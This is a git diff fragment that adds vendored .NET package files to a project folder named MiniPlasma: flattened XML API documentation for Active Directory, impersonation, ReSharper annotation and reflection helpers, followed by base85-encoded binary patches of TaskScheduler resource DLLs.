Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..7af3228dafddbb3c351041aacb3bd4387c260492 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..14465678dab97b8a650de564d795d0306f82bbb1 GIT binary patch literal 10240 zcmeHM3v?Cbo&N@TheRv^Aq4qCLO?fMb8iA9F<_o1kpO`NLOmc%?wuq9b7wB|2ni2O zcdNUif-K0R?OJQq605GQTNlf!=yh44m6la^yB5^Ko?5D_QcJtX)pdXWZ|>Yz0$+j{4uzYJ&Q+b)Ep6ptBc%8;GshOhNVn88)+}AYc3mIt z_PD*nhUH~Q8I0v(W~@7V>katjXjN#8jTil4uG}<1@{6kZD!k7#o*1by-8s*ytp{(HJ)-jeWM#YhxUmiW}C1u8=$V;*72H znU)#Eq>!x&9U^)STGCYo>3yc682}WruEQeHDnv`Vsu-(D8j5Ze*%cSbHjIs6IQF{`6;k*?X29yysBH_>Mc5uAHSFzPj?&L;tu_|K|DiQ=gjMc*pkw zSAIJ>J#hZ%b+0`Ct;WxG{Pm~V3yy6)({Xy|DXD))Zg|6Y%@@D%9=rQj3%@TN-t)aP ztE;an`9*!hoEL6@tS63t_`C!mccE#meU`0+eajWgaLk}$#e2&YIi#3HJZuFGQ&T&N z_)5jJR6}1->MN$dB3|ogwqq&_bj7hvSu5f#PKTxj7b$&h#s)=S&@q3$JU2LZp1-`L zR4Fbi&mYXp(QP%Xc-&hRoBYxcvtUbg9sN(-JAdaSGy3(C@4vD6o`N%D@`LBrtbG5YMOPpH 